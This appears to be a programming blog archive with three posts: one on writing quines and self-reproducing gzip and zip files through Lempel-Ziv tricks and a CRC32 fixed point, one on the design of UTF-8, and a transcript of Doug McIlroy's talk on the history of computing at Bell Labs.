More precisely stated, the problem is to write a source program that, when compiled and executed, will produce as output an exact copy of its source. If you have never done this, I urge you to try it on your own. The discovery of how to do it is a revelation that far surpasses any benefit obtained by being told how to do it. The part about “shortest” was just an incentive to demonstrate skill and determine a winner.

Spoiler alert! I agree: if you have never done this, I urge you to try it on your own. The internet makes it so easy to look things up that it's refreshing to discover something yourself once in a while. Go ahead and spend a few days figuring out. This blog will still be here when you get back. (If you don't mind the spoilers, the entire Turing award address is worth reading.)

(Spoiler blocker.)

http://www.robertwechsler.com/projects.html

Let's try to write a Python program that prints itself. It will probably be a print statement, so here's a first attempt, run at the interpreter prompt:

>>> print 'hello'
hello

That didn't quite work. But now we know what the program is, so let's print it:

>>> print "print 'hello'"
print 'hello'

That didn't quite work either. The problem is that when you execute a simple print statement, it only prints part of itself: the argument to the print. We need a way to print the rest of the program too.

The trick is to use recursion: you write a string that is the whole program, but with itself missing, and then you plug it into itself before passing it to print.

>>> s = 'print %s'; print s % repr(s)
print 'print %s'

Not quite, but closer: the problem is that the string s isn't actually the program. But now we know the general form of the program: s = '%s'; print s % repr(s). That's the string to use.

>>> s = 's = %s; print s %% repr(s)'; print s % repr(s)
s = 's = %s; print s %% repr(s)'; print s % repr(s)

Recursion for the win.

This form of self-reproducing program is often called a quine, in honor of the philosopher and logician W. V. O. Quine, who discovered the paradoxical sentence:

“Yields falsehood when preceded by its quotation”
yields falsehood when preceded by its quotation.

The simplest English form of a self-reproducing quine is a command like:

Print this, followed by its quotation:
“Print this, followed by its quotation:”

There's nothing particularly special about Python that makes quining possible. The most elegant quine I know is a Scheme program that is a direct, if somewhat inscrutable, translation of that sentiment:

((lambda (x) `(,x ',x))
'(lambda (x) `(,x ',x)))

I think the Go version is a clearer translation, at least as far as the quoting is concerned:

/* Go quine */
package main
import "fmt"
func main() {
 fmt.Printf("%s%c%s%c\n", q, 0x60, q, 0x60)
}
var q = `/* Go quine */
package main
import "fmt"
func main() {
 fmt.Printf("%s%c%s%c\n", q, 0x60, q, 0x60)
}
var q = `

(I've colored the data literals green throughout to make it clear what is program and what is data.)

The Go program has the interesting property that, ignoring the pesky newline at the end, the entire program is the same thing twice (/* Go quine */ ... q = `). That got me thinking: maybe it's possible to write a self-reproducing program using only a repetition operator. And you know what programming language has essentially only a repetition operator? The language used to encode Lempel-Ziv compressed files like the ones used by gzip and zip.

Self-reproducing Lempel-Ziv programs

Lempel-Ziv compressed data is a stream of instructions with two basic opcodes: literal(n) followed by n bytes of data means write those n bytes into the decompressed output, and repeat(d, n) means look backward d bytes from the current location in the decompressed output and copy the n bytes you find there into the output stream.

The programming exercise, then, is this: write a Lempel-Ziv program using just those two opcodes that prints itself when run. In other words, write a compressed data stream that decompresses to itself. Feel free to assume any reasonable encoding for the literal and repeat opcodes. For the grand prize, find a program that decompresses to itself surrounded by an arbitrary prefix and suffix, so that the sequence could be embedded in an actual gzip or zip file, which has a fixed-format header and trailer.

Spoiler alert! I urge you to try this on your own before continuing to read. It's a great way to spend a lazy afternoon, and you have one critical advantage that I didn't: you know there is a solution.

(Spoiler blocker.)

http://www.robertwechsler.com/thebest.html

By the way, here's r.gz, gzip files all the way down.

$ gunzip < r.gz > r
$ cmp r r.gz
$

The nice thing about r.gz is that even broken web browsers that ordinarily decompress downloaded gzip data before storing it to disk will handle this file correctly!

Enough stalling to hide the spoilers. Let's use this shorthand to describe Lempel-Ziv instructions: Ln and Rn are shorthand for literal(n) and repeat(n, n), and the program assumes that each code is one byte. L0 is therefore the Lempel-Ziv no-op; L5 hello prints hello; and so does L3 hel R1 L1 o.

Here's a Lempel-Ziv program that prints itself. (Each line is one instruction.)

	Code	Output
no-op	`L0`
no-op	`L0`
no-op	`L0`
print 4 bytes	`L4 L0 L0 L0 L4`	`L0 L0 L0 L4`
repeat last 4 printed bytes	`R4`	`L0 L0 L0 L4`
print 4 bytes	`L4 R4 L4 R4 L4`	`R4 L4 R4 L4`
repeat last 4 printed bytes	`R4`	`R4 L4 R4 L4`
print 4 bytes	`L4 L0 L0 L0 L0`	`L0 L0 L0 L0`

(The two columns Code and Output contain the same byte sequence.)

The interesting core of this program is the 6-byte sequence L4 R4 L4 R4 L4 R4, which prints the 8-byte sequence R4 L4 R4 L4 R4 L4 R4 L4. That is, it prints itself with an extra byte before and after.

When we were trying to write the self-reproducing Python program, the basic problem was that the print statement was always longer than what it printed. We solved that problem with recursion, computing the string to print by plugging it into itself. Here we took a different approach. The Lempel-Ziv program is particularly repetitive, so that a repeated substring ends up containing the entire fragment. The recursion is in the representation of the program rather than its execution. Either way, that fragment is the crucial point. Before the final R4, the output lags behind the input. Once it executes, the output is one code ahead.

The L0 no-ops are plugged into a more general variant of the program, which can reproduce itself with the addition of an arbitrary three-byte prefix and suffix:

	Code	Output
print 4 bytes	`L4 aa bb cc L4`	`aa bb cc L4`
repeat last 4 printed bytes	`R4`	`aa bb cc L4`
print 4 bytes	`L4 R4 L4 R4 L4`	`R4 L4 R4 L4`
repeat last 4 printed bytes	`R4`	`R4 L4 R4 L4`
print 4 bytes	`L4 R4 xx yy zz`	`R4 xx yy zz`
repeat last 4 printed bytes	`R4`	`R4 xx yy zz`

(The byte sequence in the Output column is aa bb cc, then the byte sequence from the Code column, then xx yy zz.)

It took me the better part of a quiet Sunday to get this far, but by the time I got here I knew the game was over and that I'd won. From all that experimenting, I knew it was easy to create a program fragment that printed itself minus a few instructions or even one that printed an arbitrary prefix and then itself, minus a few instructions. The extra aa bb cc in the output provides a place to attach such a program fragment. Similarly, it's easy to create a fragment to attach to the xx yy zz that prints itself, minus the first three instructions, plus an arbitrary suffix. We can use that generality to attach an appropriate header and trailer.

Here is the final program, which prints itself surrounded by an arbitrary prefix and suffix. [P] denotes the p-byte compressed form of the prefix P; similarly, [S] denotes the s-byte compressed form of the suffix S.

	Code	Output
print prefix	`[P]`	`P`
print p+1 bytes	`L`p+1 `[P] L`p+1	`[P] L`p+1
repeat last p+1 printed bytes	`R`p+1	`[P] L`p+1
print 1 byte	`L1 R`p+1	`R`p+1
print 1 byte	`L1 L1`	`L1`
print 4 bytes	`L4 R`p+1 `L1 L1 L4`	`R`p+1 `L1 L1 L4`
repeat last 4 printed bytes	`R4`	`R`p+1 `L1 L1 L4`
print 4 bytes	`L4 R4 L4 R4 L4`	`R4 L4 R4 L4`
repeat last 4 printed bytes	`R4`	`R4 L4 R4 L4`
print 4 bytes	`L4 R4 L0 L0 L`s+1	`R4 L0 L0 L`s+1
repeat last 4 printed bytes	`R4`	`R4 L0 L0 L`s+1
no-op	`L0`
no-op	`L0`
print s+1 bytes	`L`s+1 `R`s+1 `[S]`	`R`s+1 `[S]`
repeat last s+1 bytes	`R`s+1	`R`s+1 `[S]`
print suffix	`[S]`	`S`

(The byte sequence in the Output column is P, then the byte sequence from the Code column, then S.)

Self-reproducing zip files

Now the rubber meets the road. We've solved the main theoretical obstacle to making a self-reproducing zip file, but there are a couple practical obstacles still in our way.

The first obstacle is to translate our self-reproducing Lempel-Ziv program, written in simplified opcodes, into the real opcode encoding. RFC 1951 describes the DEFLATE format used in both gzip and zip: a sequence of blocks, each of which is a sequence of opcodes encoded using Huffman codes. Huffman codes assign different length bit strings to different opcodes, breaking our assumption above that opcodes have fixed length. But wait! We can, with some care, find a set of fixed-size encodings that says what we need to be able to express.

In DEFLATE, there are literal blocks and opcode blocks. The header at the beginning of a literal block is 5 bytes:

If the translation of our L opcodes above are 5 bytes each, the translation of the R opcodes must also be 5 bytes each, with all the byte counts above scaled by a factor of 5. (For example, L4 now has a 20-byte argument, and R4 repeats the last 20 bytes of output.) The opcode block with a single repeat(20,20) instruction falls well short of 5 bytes:

Luckily, an opcode block containing two repeat(20,10) instructions has the same effect and is exactly 5 bytes:

Encoding the other sized repeats (Rp+1 and Rs+1) takes more effort and some sleazy tricks, but it turns out that we can design 5-byte codes that repeat any amount from 9 to 64 bytes. For example, here are the repeat blocks for 10 bytes and for 40 bytes:

The repeat block for 10 bytes is two bits too short, but every repeat block is followed by a literal block, which starts with three zero bits and then padding to the next byte boundary. If a repeat block ends two bits short of a byte but is followed by a literal block, the literal block's padding will insert the extra two bits. Similarly, the repeat block for 40 bytes is five bits too long, but they're all zero bits. Starting a literal block five bits too late steals the bits from the padding. Both of these tricks only work because the last 7 bits of any repeat block are zero and the bits in the first byte of any literal block are also zero, so the boundary isn't directly visible. If the literal block started with a one bit, this sleazy trick wouldn't work.

The second obstacle is that zip archives (and gzip files) record a CRC32 checksum of the uncompressed data. Since the uncompressed data is the zip archive, the data being checksummed includes the checksum itself. So we need to find a value x such that writing x into the checksum field causes the file to checksum to x. Recursion strikes back.

The CRC32 checksum computation interprets the entire file as a big number and computes the remainder when you divide that number by a specific constant using a specific kind of division. We could go through the effort of setting up the appropriate equations and solving for x. But frankly, we've already solved one nasty recursive puzzle today, and enough is enough. There are only four billion possibilities for x: we can write a program to try each in turn, until it finds one that works.

If you want to recreate these files yourself, there are a few more minor obstacles, like making sure the tar file is a multiple of 512 bytes and compressing the rather large zip trailer to at most 59 bytes so that Rs+1 is at most R64. But they're just a simple matter of programming.

So there you have it: r.gz (gzip files all the way down), r.tar.gz (gzipped tar files all the way down), and r.zip (zip files all the way down). I regret that I have been unable to find any programs that insist on decompressing these files recursively, ad infinitum. It would have been fun to watch them squirm, but it looks like much less sophisticated zip bombs have spoiled the fun.

If you're feeling particularly ambitious, here is rgzip.go, the Go program that generated these files. I wonder if you can create a zip file that contains a gzipped tar file that contains the original zip file. Ken Thompson suggested trying to make a zip file that contains a slightly larger copy of itself, recursively, so that as you dive down the chain of zip files each one gets a little bigger. (If you do manage either of these, please leave a comment.)

P.S. I can't end the post without sharing my favorite self-reproducing program: the one-line shell script #!/bin/cat.

UTF-8: Bits, Bytes, and Benefits

2010-03-05T00:00:00-05:00

UTF-8 is a way to encode Unicode code points—integer values from 0 through 10FFFF—into a byte stream, and it is far simpler than many people realize. The easiest way to make it confusing or complicated is to treat it as a black box, never looking inside. So let's start by looking inside. Here it is:


Unicode code points		UTF-8 encoding (binary)

00-7F	(7 bits)	0tuvwxyz
0080-07FF	(11 bits)	110pqrst 10uvwxyz
0800-FFFF	(16 bits)	1110jklm 10npqrst 10uvwxyz
010000-10FFFF	(21 bits)	11110efg 10hijklm 10npqrst 10uvwxyz

The convenient properties of UTF-8 are all consequences of the choice of encoding.

All ASCII files are already UTF-8 files.
The first 128 Unicode code points are the 7-bit ASCII character set, and UTF-8 preserves their one-byte encoding.
ASCII bytes always represent themselves in UTF-8 files. They never appear as part of other UTF-8 sequences.
All the non-ASCII UTF-8 sequences consist of bytes with the high bit set, so if you see the byte 0x7A in a UTF-8 file, you can be sure it represents the character z.
ASCII bytes are always represented as themselves in UTF-8 files. They cannot be hidden inside multibyte UTF-8 sequences.
The ASCII z 01111010 cannot be encoded as a two-byte UTF-8 sequence 11000001 10111010. Code points must be encoded using the shortest possible sequence. A corollary is that decoders must detect long-winded sequences as invalid. In practice, it is useful for a decoder to use the Unicode replacement character, code point FFFD, as the decoding of an invalid UTF-8 sequence rather than stop processing the text.
UTF-8 is self-synchronizing.
Let's call a byte of the form 10xxxxxx a continuation byte. Every UTF-8 sequence is a byte that is not a continuation byte followed by zero or more continuation bytes. If you start processing a UTF-8 file at an arbitrary point, you might not be at the beginning of a UTF-8 encoding, but you can easily find one: skip over continuation bytes until you find a non-continuation byte. (The same applies to scanning backward.)
Substring search is just byte string search.
Properties 2, 3, and 4 imply that given a string of correctly encoded UTF-8, the only way those bytes can appear in a larger UTF-8 text is when they represent the same code points. So you can use any 8-bit safe byte at a time search function, like strchr or strstr, to run the search.
Most programs that handle 8-bit files safely can handle UTF-8 safely.
This also follows from Properties 2, 3, and 4. I say “most” programs, because programs that take apart a byte sequence expecting one character per byte will not behave correctly, but very few programs do that. It is far more common to split input at newline characters, or split whitespace-separated fields, or do other similar parsing around specific ASCII characters. For example, Unix tools like cat, cmp, cp, diff, echo, head, tail, and tee can process UTF-8 files as if they were plain ASCII files. Most operating system kernels should also be able to handle UTF-8 file names without any special arrangement, since the only operations done on file names are comparisons and splitting at /. In contrast, tools like grep, sed, and wc, which inspect arbitrary individual characters, do need modification.
UTF-8 sequences sort in code point order.
You can verify this by inspecting the encodings in the table above. This means that Unix tools like join, ls, and sort (without options) don't need to handle UTF-8 specially.
UTF-8 has no “byte order.”
UTF-8 is a byte encoding. It is not little endian or big endian. Unicode defines a byte order mark (BOM) code point FFFE, which are used to determine the byte order of a stream of raw 16-bit values, like UCS-2 or UTF-16. It has no place in a UTF-8 file. Some programs like to write a UTF-8-encoded BOM at the beginning of UTF-8 files, but this is unnecessary (and annoying to programs that don't expect it).

UTF-8 does give up the ability to do random access using code point indices. Programs that need to jump to the nth Unicode code point in a file or on a line—text editors are the canonical example—will typically convert incoming UTF-8 to an internal representation like an array of code points and then convert back to UTF-8 for output, but most programs are simpler when written to manipulate UTF-8 directly.

Programs that make UTF-8 more complicated than it needs to be are typically trying to be too general, not wanting to make assumptions that might not be true of other encodings. But there are good tools to convert other encodings to UTF-8, and it is slowly becoming the standard encoding: even the fraction of web pages written in UTF-8 is nearing 50%. UTF-8 was explicitly designed to have these nice properties. Take advantage of them.

For more on UTF-8, see “Hello World or Καλημέρα κόσμε or こんにちは世界,” by Rob Pike and Ken Thompson, and also this history.

Notes: Property 6 assumes the tools do not strip the high bit from each byte. Such mangling was common years ago but is very uncommon now. Property 7 assumes the comparison is done treating the bytes as unsigned, but such behavior is mandated by the ANSI C standard for memcmp, strcmp, and strncmp.

Computing History at Bell Labs

2008-04-09T00:00:00-04:00

In 1997, on his retirement from Bell Labs, Doug McIlroy gave a fascinating talk about the “History of Computing at Bell Labs.” Almost ten years ago I transcribed the audio but never did anything with it. The transcript is below.

My favorite parts of the talk are the description of the bi-quinary decimal relay calculator and the description of a team that spent over a year tracking down a race condition bug in a missile detector (reliability was king: today you’d just stamp “cannot reproduce” and send the report back). But the whole thing contains many fantastic stories. It’s well worth the read or listen. I also like his recollection of programming using cards: “It’s the kind of thing you can be nostalgic about, but it wasn’t actually fun.”

For more information, Bernard D. Holbrook and W. Stanley Brown’s 1982 technical report “A History of Computing Research at Bell Laboratories (1937-1975)” covers the earlier history in more detail.

Corrections added August 19, 2009. Links updated May 16, 2018.

Update, December 19, 2020. The original audio files disappeared along with the rest of the Bell Labs site some time ago, but I discovered a saved copy on one of my computers: [MP3 | original RealAudio]. I also added a few corrections and notes from Doug McIlroy, dated 2015 [sic].

Transcript

Computing at Bell Labs is certainly an outgrowth of the mathematics department, which grew from that first hiring in 1897, G A Campbell. When Bell Labs was formally founded in 1925, what it had been was the engineering department of Western Electric. When it was formally founded in 1925, almost from the beginning there was a math department with Thornton Fry as the department head, and if you look at some of Fry’s work, it turns out that he was fussing around in 1929 with trying to discover information theory. It didn’t actually gel until twenty years later with Shannon.

1:10 Of course, most of the mathematics at that time was continuous. One was interested in analyzing circuits and propagation. And indeed, this is what led to the growth of computing in Bell Laboratories. The computations could not all be done symbolically. There were not closed form solutions. There was lots of numerical computation done. The math department had a fair stable of computers, which in those days meant people. [laughter]

2:00 And in the late ’30s, George Stibitz had an idea that some of the work that they were doing on hand calculators might be automated by using some of the equipment that the Bell System was installing in central offices, namely relay circuits. He went home, and on his kitchen table, he built out of relays a binary arithmetic circuit. He decided that binary was really the right way to compute. However, when he finally came to build some equipment, he determined that binary to decimal conversion and decimal to binary conversion was a drag, and he didn’t want to put it in the equipment, and so he finally built in 1939, a relay calculator that worked in decimal, and it worked in complex arithmetic. Do you have a hand calculator now that does complex arithmetic? Ten-digit, I believe, complex computations: add, subtract, multiply, and divide. The I/O equipment was teletypes, so essentially all the stuff to make such machines out of was there. Since the I/O was teletypes, it could be remotely accessed, and there were in fact four stations in the West Street Laboratories of Bell Labs. West Street is down on the left side of Manhattan. I had the good fortune to work there one summer, right next to a district where you’re likely to get bowled over by rolling beeves hanging from racks or tumbling cabbages. The building is still there. It’s called Westbeth Apartments. It’s now an artist’s colony.

4:29 Anyway, in West Street, there were four separate remote stations from which the complex calculator could be accessed. It was not time sharing. You actually reserved your time on the machine, and only one of the four terminals worked at a time. In 1940, this machine was shown off to the world at the AMS annual convention, which happened to be held in Hanover at Dartmouth that year, and mathematicians could wonder at remote computing, doing computation on an electromechanical calculator at 300 miles away.

5:22 Stibitz went on from there to make a whole series of relay machines. Many of them were made for the government during the war. They were named, imaginatively, Mark I through Mark VI. I have read some of his patents. They’re kind of fun. One is a patent on conditional transfer. [laughter] And how do you do a conditional transfer? Well these gadgets were, the relay calculator was run from your fingers, I mean the complex calculator. The later calculators, of course, if your fingers were a teletype, you could perfectly well feed a paper tape in, because that was standard practice. And these later machines were intended really to be run more from paper tape. And the conditional transfer was this: you had two teletypes, and there’s a code that says "time to read from the other teletype". Loops were of course easy to do. You take paper and [laughter; presumably Doug curled a piece of paper to form a physical loop]. These machines never got to the point of having stored programs. But they got quite big. I saw, one of them was here in 1954, and I did see it, behind glass, and if you’ve ever seen these machines in the, there’s one in the Franklin Institute in Philadelphia, and there’s one in the Science Museum in San Jose, you know these machines that drop balls that go wandering sliding around and turning battle wheels and ringing bells and who knows what. It kind of looked like that. It was a very quiet room, with just a little clicking of relays, which is what a central office used to be like. It was the one air-conditioned room in Murray Hill, I think. This machine ran, the Mark VI, well I think that was the Mark V, the Mark VI actually went to Aberdeen. This machine ran for a good number of years, probably six, eight. And it is said that it never made an undetected error. [laughter]

8:30 What that means is that it never made an error that it did not diagnose itself and stop. Relay technology was very very defensive. The telephone switching system had to work. It was full of self-checking, and so were the calculators, so were the calculators that Stibitz made.

9:04 Arithmetic was done in bi-quinary, a two out of five representation for decimal integers, and if there weren’t exactly two out of five relays activated it would stop. This machine ran unattended over the weekends. People would bring their tapes in, and the operator would paste everybody’s tapes together. There was a beginning of job code on the tape and there was also a time indicator. If the machine ran out of time, it automatically stopped and went to the next job. If the machine caught itself in an error, it backed up to the current job and tried it again. They would load this machine on Friday night, and on Monday morning, all the tapes, all the entries would be available on output tapes.

Question: I take it they were using a different representation for loops and conditionals by then.

Doug: Loops were done actually by they would run back and forth across the tape now, on this machine.

10:40 Then came the transistor in ’48. At Whippany, they actually had a transistorized computer, which was a respectable minicomputer, a box about this big, running in 1954, it ran from 1954 to 1956 solidly as a test run. The notion was that this computer might fly in an airplane. And during that two-year test run, one diode failed. In 1957, this machine called TRADIC, did in fact fly in an airplane, but to the best of my knowledge, that machine was a demonstration machine. It didn’t turn into a production machine. About that time, we started buying commercial machines. It’s wonderful to think about the set of different architectures that existed in that time. The first machine we got was called a CPC from IBM. And all it was was a big accounting machine with a very special plugboard on the side that provided an interpreter for doing ten-digit decimal arithmetic, including opcodes for the trig functions and square root.

12:30 It was also not a computer as we know it today, because it wasn’t stored program, it had twenty-four memory locations as I recall, and it took its program instead of from tapes, from cards. This was not a total advantage. A tape didn’t get into trouble if you dropped it on the floor. [laughter]. CPC, the operator would stand in front of it, and there, you would go through loops by taking cards out, it took human intervention, to take the cards out of the output of the card reader and put them in the ?top?. I actually ran some programs on the CPC ?...?. It’s the kind of thing you can be nostalgic about, but it wasn’t actually fun. [laughter]

13:30 The next machine was an IBM 650, and here, this was a stored program, with the memory being on drum. There was no operating system for it. It came with a manual: this is what the machine does. And Michael Wolontis made an interpreter called the L1 interpreter for this machine, so you could actually program in, the manual told you how to program in binary, and L1 allowed you to give something like 10 for add and 9 for subtract, and program in decimal instead. And of course that machine required interesting optimization, because it was a nice thing if the next program step were stored somewhere -- each program step had the address of the following step in it, and you would try to locate them around the drum so to minimize latency. So there were all kinds of optimizers around, but I don’t think Bell Labs made ?...? based on this called "soap" from Carnegie Mellon. That machine didn’t last very long. Fortunately, a machine with core memory came out from IBM in about ’56, the 704. Bell Labs was a little slow in getting one, in ’58. Again, the machine came without an operating system. In fact, but it did have Fortran, which really changed the world. It suddenly made it easy to write programs. But the way Fortran came from IBM, it came with a thing called the Fortran Stop Book. This was a list of what happened, a diagnostic would execute the halt instruction, the operator would go read the panel lights and discover where the machine had stopped, you would then go look up in the stop book what that meant. Bell Labs, with George Mealy and Gwen Hanson, made an operating system, and one of the things they did was to bring the stop book to heel. They took the compiler, replaced all the stop instructions with jumps to somewhere, and allowed the program instead of stopping to go on to the next trial. By the time I arrived at Bell Labs in 1958, this thing was running nicely.

[McIlroy comments, 2015: I’m pretty sure I was wrong in saying Mealy and Hanson brought the stop book to heel. They built the OS, but I believe Dolores Leagus tamed Fortran. (Dolores was the most accurate programmer I ever knew. She’d write 2000 lines of code before testing a single line--and it would work.)]

16:36 Bell Labs continued to be a major player in operating systems. This was called BESYS. BE was the SHARE abbreviation for Bell Labs. Each company that belonged to Share, which was the IBM users group, ahd a two letter abbreviation. It’s hard to imagine taking all the computer users now and giving them a two-letter abbreviation. BESYS went through many generations, up to BESYS 5, I believe. Each one with innovations. IBM delivered a machine, the 7090, in 1960. This machine had interrupts in it, but IBM didn’t use them. But BESYS did. And that sent IBM back to the drawing board to make it work. [Laughter]

17:48 Rob Pike: It also didn’t have memory protection.

Doug: It didn’t have memory protection either, and a lot of people actually got IBM to put memory protection in the 7090, so that one could leave the operating system resident in the presence of a wild program, an idea that the PC didn’t discover until, last year or something like that. [laughter]

Big players then, Dick Hamming, a name that I’m sure everybody knows, was sort of the numerical analysis guru, and a seer. He liked to make outrageous predictions. He predicted in 1960, that half of Bell Labs was going to be busy doing something with computers eventually. ?...? exaggerating some ?...? abstract in his thought. He was wrong. Half was a gross underestimate. Dick Hamming retired twenty years ago, and just this June he completed his full twenty years term in the Navy, which entitles him again to retire from the Naval Postgraduate Institute in Monterey. Stibitz, incidentally died, I think within the last year. He was doing medical instrumentation at Dartmouth essentially, near the end.

[McIlroy comments, 2015: I’m not sure what exact unintelligible words I uttered about Dick Hamming. When he predicted that half the Bell Labs budget would be related to computing in a decade, people scoffed in terms like “that’s just Dick being himelf, exaggerating for effect”.]

20:00 Various problems intrigued, besides the numerical problems, which in fact were stock in trade, and were the real justification for buying machines, until at least the ’70s I would say. But some non-numerical problems had begun to tickle the palette of the math department. Even G A Campbell got interested in graph theory, the reason being he wanted to think of all the possible ways you could take the three wires and the various parts of the telephone and connect them together, and try permutations to see what you could do about reducing sidetone by putting things into the various parts of the circuit, and devised every possibly way of connecting the telephone up. And that was sort of the beginning of combinatorics at Bell Labs. John Reardon, a mathematician parlayed this into a major subject. Two problems which are now deemed as computing problems, have intrigued the math department for a very long time, and those are the minimum spanning tree problem, and the wonderfully ?comment about Joe Kruskal, laughter?

21:50 And in the 50s Bob Prim and Kruskal, who I don’t think worked on the Labs at that point, invented algorithms for the minimum spanning tree. Somehow or other, computer scientists usually learn these algorithms, one of the two at least, as Dijkstra’s algorithm, but he was a latecomer.

[McIlroy comments, 2015: I erred in attributing Dijkstra’s algorithm to Prim and Kruskal. That honor belongs to yet a third member of the math department: Ed Moore. (Dijkstra’s algorithm is for shortest path, not spanning tree.)]

Another pet was the traveling salesman. There’s been a long list of people at Bell Labs who played with that: Shen Lin and Ron Graham and David Johnson and dozens more, oh and ?...?. And then another problem is the Steiner minimum spanning tree, where you’re allowed to add points to the graph. Every one of these problems grew, actually had a justification in telephone billing. One jurisdiction or another would specify that the way you bill for a private line network was in one jurisdiction by the minimum spanning tree. In another jurisdiction, by the traveling salesman route. NP-completeness wasn’t a word in the vocabulary of lawmakers [laughter]. And the Steiner problem came up because customers discovered they could beat the system by inventing offices in the middle of Tennessee that had nothing to do with their business, but they could put the office at a Steiner point and reduce their phone bill by adding to what the service that the Bell System had to give them. So all of these problems actually had some justification in billing besides the fun.

24:15 Come the 60s, we actually started to hire people for computing per se. I was perhaps the third person who was hired with a Ph.D. to help take care of the computers and I’m told that the then director and head of the math department, Hendrick Bode, had said to his people, "yeah, you can hire this guy, instead of a real mathematician, but what’s he gonna be doing in five years?" [laughter]

25:02 Nevertheless, we started hiring for real in about ’67. Computer science got split off from the math department. I had the good fortune to move into the office that I’ve been in ever since then. Computing began to make, get a personality of its own. One of the interesting people that came to Bell Labs for a while was Hao Wang. Is his name well known? [Pause] One nod. Hao Wang was a philosopher and logician, and we got a letter from him in England out of the blue saying "hey you know, can I come and use your computers? I have an idea about theorem proving." There was theorem proving in the air in the late 50s, and it was mostly pretty thin stuff. Obvious that the methods being proposed wouldn’t possibly do anything more difficult than solve tic-tac-toe problems by enumeration. Wang had a notion that he could mechanically prove theorems in the style of Whitehead and Russell’s great treatise Principia Mathematica in the early patr of the century. He came here, learned how to program in machine language, and took all of Volume I of Principia Mathematica -- if you’ve ever hefted Principia, well that’s about all it’s good for, it’s a real good door stop. It’s really big. But it’s theorem after theorem after theorem in propositional calculus. Of course, there’s a decision procedure for propositional calculus, but he was proving them more in the style of Whitehead and Russell. And when he finally got them all coded and put them into the computer, he proved the entire contents of this immense book in eight minutes. This was actually a neat accomplishment. Also that was the beginning of all the language theory. We hired people like Al Aho and Jeff Ullman, who probed around every possible model of grammars, syntax, and all of the things that are now in the standard undergraduate curriculum, were pretty well nailed down here, on syntax and finite state machines and so on were pretty well nailed down in the 60s. Speaking of finite state machines, in the 50s, both Mealy and Moore, who have two of the well-known models of finite state machines, were here.

28:40 During the 60s, we undertook an enormous development project in the guise of research, which was MULTICS, and it was the notion of MULTICS was computing was the public utility of the future. Machines were very expensive, and ?indeed? like you don’t own your own electric generator, you rely on the power company to do generation for you, and it was seen that this was a good way to do computing -- time sharing -- and it was also recognized that shared data was a very good thing. MIT pioneered this and Bell Labs joined in on the MULTICS project, and this occupied five years of system programming effort, until Bell Labs pulled out, because it turned out that MULTICS was too ambitious for the hardware at the time, and also with 80 people on it was not exactly a research project. But, that led to various people who were on the project, in particular Ken Thompson -- right there -- to think about how to -- Dennis Ritchie and Rudd Canaday were in on this too -- to think about how you might make a pleasant operating system with a little less resources.

30:30 And Ken found -- this is a story that’s often been told, so I won’t go into very much of unix -- Ken found an old machine cast off in the corner, the PDP-7, and put up this little operating system on it, and we had immense GE635 available at the comp center at the time, and I remember as the department head, muscling in to use this little computer to be, to get to be Unix’s first user, customer, because it was so much pleasanter to use this tiny machine than it was to use the big and capable machine in the comp center. And of course the rest of the story is known to everybody and has affected all college campuses in the country.

31:33 Along with the operating system work, there was a fair amount of language work done at Bell Labs. Often curious off-beat languages. One of my favorites was called Blodi, B L O D I, a block diagram compiler by Kelly and Vyssotsky. Perhaps the most interesting early uses of computers in the sense of being unexpected, were those that came from the acoustics research department, and what the Blodi compiler was invented in the acoustic research department for doing digital simulations of sample data system. DSPs are classic sample data systems, where instead of passing analog signals around, you pass around streams of numerical values. And Blodi allowed you to say here’s a delay unit, here’s an amplifier, here’s an adder, the standard piece parts for a sample data system, and each one was described on a card, and with description of what it’s wired to. It was then compiled into one enormous single straight line loop for one time step. Of course, you had to rearrange the code because some one part of the sample data system would feed another and produce really very efficient 7090 code for simulating sample data systems. By in large, from that time forth, the acoustic department stopped making hardware. It was much easier to do signal processing digitally than previous ways that had been analog. Blodi had an interesting property. It was the only programming language I know where -- this is not my original observation, Vyssotsky said -- where you could take the deck of cards, throw it up the stairs, and pick them up at the bottom of the stairs, feed them into the computer again, and get the same program out. Blodi had two, aside from syntax diagnostics, it did have one diagnostic when it would fail to compile, and that was "somewhere in your system is a loop that consists of all delays or has no delays" and you can imagine how they handled that.

35:09 Another interesting programming language of the 60s was Ken Knowlten’s Beflix. This was for making movies on something with resolution kind of comparable to 640x480, really coarse, and the programming notion in here was bugs. You put on your grid a bunch of bugs, and each bug carried along some data as baggage, and then you would do things like cellular automata operations. You could program it or you could kind of let it go by itself. If a red bug is next to a blue bug then it turns into a green bug on the following step and so on. 36:28 He and Lillian Schwartz made some interesting abstract movies at the time. It also did some interesting picture processing. One wonderful picture of a reclining nude, something about the size of that blackboard over there, all made of pixels about a half inch high each with a different little picture in it, picked out for their density, and so if you looked at it close up it consisted of pickaxes and candles and dogs, and if you looked at it far enough away, it was a reclining nude. That picture got a lot of play all around the country.

Lorinda Cherry: That was with Leon, wasn’t it? That was with Leon Harmon.

Doug: Was that Harmon?

Lorinda: ?...?

Doug: Harmon was also an interesting character. He did more things than pictures. I’m glad you reminded me of him. I had him written down here. Harmon was a guy who among other things did a block diagram compiler for writing a handwriting recognition program. I never did understand how his scheme worked, and in fact I guess it didn’t work too well. [laughter] It didn’t do any production ?things? but it was an absolutely immense sample data circuit for doing handwriting recognition. Harmon’s most famous work was trying to estimate the information content in a face. And every one of these pictures which are a cliche now, that show a face digitized very coarsely, go back to Harmon’s first psychological experiments, when he tried to find out how many bits of picture he needed to try to make a face recognizable. He went around and digitized about 256 faces from Bell Labs and did real psychological experiments asking which faces could be distinguished from other ones. I had the good fortune to have one of the most distinguishable faces, and consequently you’ll find me in freshman psychology texts through no fault of my own.

39:15 Another thing going on the 60s was the halting beginning here of interactive computing. And again the credit has to go to the acoustics research department, for good and sufficient reason. They wanted to be able to feed signals into the machine, and look at them, and get them back out. They bought yet another weird architecture machine called the Packard Bell 250, where the memory elements were mercury delay lines.

Question: Packard Bell?

Doug: Packard Bell, same one that makes PCs today.

40:10 They hung this off of the comp center 7090 and put in a scheme for quickly shipping jobs into the job stream on the 7090. The Packard Bell was the real-time terminal that you could play with and repair stuff, ?...? off the 7090, get it back, and then you could play it. From that grew some graphics machines also, built by ?...? et al. And it was one of the old graphics machines in fact that Ken picked up to build Unix on.

